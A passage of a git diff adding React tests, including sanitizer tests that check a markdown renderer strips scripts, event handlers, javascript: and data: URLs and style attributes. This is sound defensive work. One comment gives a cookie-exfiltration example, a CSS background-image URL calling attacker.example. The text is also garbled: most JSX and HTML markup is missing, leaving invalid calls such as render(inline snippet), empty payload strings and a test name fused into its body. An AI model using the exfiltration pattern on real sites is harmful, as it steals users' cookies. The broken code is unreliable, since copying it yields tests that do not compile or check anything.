+ const input2 = screen.getByTestId("plugin-1-param-key2");
+ expect(input2).toHaveValue("val2");
+
+ // First plugin should have new value
+ expect(input1).toHaveValue("new-val1");
+ });
+ });
+});
diff --git a/__tests__/components/features/markdown/code.test.tsx b/__tests__/components/features/markdown/code.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c5ba1562af036d93688ee2d6ed4d671e454d4bdd
--- /dev/null
+++ b/__tests__/components/features/markdown/code.test.tsx
@@ -0,0 +1,37 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect } from "vitest";
+import { code as Code } from "#/components/features/markdown/code";
+
+describe("code (markdown)", () => {
+ it("should render inline code without a copy button", () => {
+ render(inline snippet);
+
+ expect(screen.getByText("inline snippet")).toBeInTheDocument();
+ expect(screen.queryByTestId("copy-to-clipboard")).not.toBeInTheDocument();
+ });
+
+ it("should render a multiline code block with a copy button", () => {
+ render({"line1\nline2"});
+
+ expect(screen.getByText("line1 line2")).toBeInTheDocument();
+ expect(screen.getByTestId("copy-to-clipboard")).toBeInTheDocument();
+ });
+
+ it("should render a syntax-highlighted block with a copy button", () => {
+ render({"console.log('hi')"});
+
+ expect(screen.getByTestId("copy-to-clipboard")).toBeInTheDocument();
+ });
+
+ it("should copy code block content to clipboard", async () => {
+ const user = userEvent.setup();
+ render({"line1\nline2"});
+
+ await user.click(screen.getByTestId("copy-to-clipboard"));
+
+ await waitFor(() =>
+ expect(navigator.clipboard.readText()).resolves.toBe("line1\nline2"),
+ );
+ });
+});
diff --git a/__tests__/components/features/markdown/markdown-renderer.test.tsx b/__tests__/components/features/markdown/markdown-renderer.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6b10981f0207550b50feb36f27f4031d2c6480c8
--- /dev/null
+++ b/__tests__/components/features/markdown/markdown-renderer.test.tsx
@@ -0,0 +1,335 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { sanitize } from "hast-util-sanitize";
+import type { Element, Root } from "hast";
+
+import {
+ MarkdownRenderer,
+ MARKDOWN_SANITIZE_SCHEMA,
+} from "#/components/features/markdown/markdown-renderer";
+
+describe("MarkdownRenderer", () => {
+ it("renders GFM tables (a GFM-only feature)", () => {
+ const md = [
+ "| Col A | Col B |",
+ "| ----- | ----- |",
+ "| 1 | 2 |",
+ ].join("\n");
+
+ const { container } = render({md} );
+
+ const table = container.querySelector("table");
+ expect(table).not.toBeNull();
+ expect(container.querySelectorAll("th")).toHaveLength(2);
+ expect(container.querySelectorAll("td")).toHaveLength(2);
+ });
+
+ it("renders GFM strikethrough", () => {
+ const { container } = render(
+ {"~~struck~~ word"} ,
+ );
+ expect(container.querySelector("del")).not.toBeNull();
+ expect(screen.getByText("struck").tagName.toLowerCase()).toBe("del");
+ });
+
+ it("renders GFM task list checkboxes", () => {
+ const md = ["- [x] done", "- [ ] todo"].join("\n");
+ const { container } = render({md} );
+ const checkboxes = container.querySelectorAll('input[type="checkbox"]');
+ expect(checkboxes).toHaveLength(2);
+ expect((checkboxes[0] as HTMLInputElement).checked).toBe(true);
+ expect((checkboxes[1] as HTMLInputElement).checked).toBe(false);
+ });
+
+ it("renders inline HTML embedded in markdown", () => {
+ const md = "Hello world and Ctrl+C ";
+ const { container } = render({md} );
+ expect(container.querySelector("mark")?.textContent).toBe("world");
+ expect(container.querySelector("kbd")?.textContent).toBe("Ctrl+C");
+ });
+
+ it("renders / for collapsible sections", () => {
+ const md = [
+ "",
+ "Show more ",
+ "",
+ "Hidden content",
+ " ",
+ ].join("\n");
+ const { container } = render({md} );
+ expect(container.querySelector("details")).not.toBeNull();
+ expect(container.querySelector("summary")?.textContent).toBe("Show more");
+ });
+
+ it("strips world";
+ const { container } = render({md} );
+ expect(container.querySelector("script")).toBeNull();
+ // The text content surrounding the script must still be there.
+ expect(container.textContent).toContain("Hello");
+ expect(container.textContent).toContain("world");
+ });
+
+ it("strips inline event handlers (onclick, etc.) via rehype-sanitize", () => {
+ const md = 'Click me ';
+ const { container } = render({md} );
+ const button = container.querySelector("button");
+ // The element itself may pass through (it's a normal HTML button) but
+ // the onclick attribute must be gone.
+ if (button) {
+ expect(button.getAttribute("onclick")).toBeNull();
+ }
+ });
+
+ it("strips javascript: URLs in anchor hrefs", () => {
+ // Use raw HTML so we test the sanitizer end-to-end (markdown's own
+ // link syntax escapes this differently).
+ const md = 'click ';
+ const { container } = render({md} );
+ const anchor = container.querySelector("a");
+ // Two acceptable sanitize outcomes:
+ // (1) the anchor is stripped entirely → `anchor === null`,
+ // (2) the anchor survives but its dangerous href was dropped.
+ // What's NOT acceptable is keeping the javascript: URL. Assert
+ // explicitly in both branches so we never accidentally pass on a
+ // sanitizer that smuggles the link through unmodified by removing
+ // the surrounding wrapper (in which case the `if (anchor)` check
+ // would short-circuit silently).
+ if (anchor === null) {
+ // Sanitizer dropped the anchor entirely — verifiably safe.
+ expect(anchor).toBeNull();
+ } else {
+ expect(anchor.getAttribute("href") ?? "").not.toMatch(/^javascript:/i);
+ }
+ });
+
+ it("does not honor `style` attributes (CSS-injection class of attacks)", () => {
+ // CSS can be a side channel for data exfiltration
+ // (`background-image: url("https://attacker.example/?cookie=…")`) or
+ // for clickjacking/UI redress (`position: fixed; top: 0; …`). Our
+ // schema deliberately omits `style` from the allowed attribute list
+ // so the sanitizer drops it.
+ const md =
+ "x
";
+ const { container } = render({md} );
+ const div = container.querySelector("div");
+ expect(div).not.toBeNull();
+ // The style attribute must be gone (or at minimum not contain the
+ // attacker URL).
+ expect(div?.getAttribute("style") ?? "").not.toMatch(/attacker\.example/i);
+ expect(div?.getAttribute("style")).toBeNull();
+ });
+
+ it("blocks data:text/html URLs in img src", () => {
+ // `data:` covers arbitrary mime types, not just images — allowing
+ // it on ` ` would let an authored doc round-trip an HTML
+ // document with no schema validation. Our protocol allow-list for
+ // src is restricted to http(s).
+ const md = ' ';
+ const { container } = render({md} );
+ const img = container.querySelector("img");
+ // The sanitizer may either drop src entirely or drop the whole tag —
+ // either way the data:text/html URL must not survive.
+ expect(img?.getAttribute("src") ?? "").not.toMatch(/^data:/i);
+ });
+
+ it("strips other inline event handlers (onerror, onload, onmouseover)", () => {
+ const cases = [
+ ' ',
+ 'hover
',
+ 'link ',
+ ];
+ for (const md of cases) {
+ const { container } = render({md} );
+ // Whichever tag survived must not carry an on* handler attribute.
+ const element = container.querySelector("img, div, a");
+ if (element) {
+ for (const attr of element.getAttributeNames()) {
+ expect(attr.toLowerCase()).not.toMatch(/^on/);
+ }
+ }
+ }
+ });
+
+ it("keeps http(s) and mailto: URLs intact", () => {
+ const md =
+ "[external](https://example.com) and [mail](mailto:a@example.com)";
+ const { container } = render({md} );
+ const anchors = container.querySelectorAll("a");
+ const hrefs = Array.from(anchors).map((a) => a.getAttribute("href"));
+ expect(hrefs).toContain("https://example.com");
+ expect(hrefs).toContain("mailto:a@example.com");
+ });
+
+ it("drops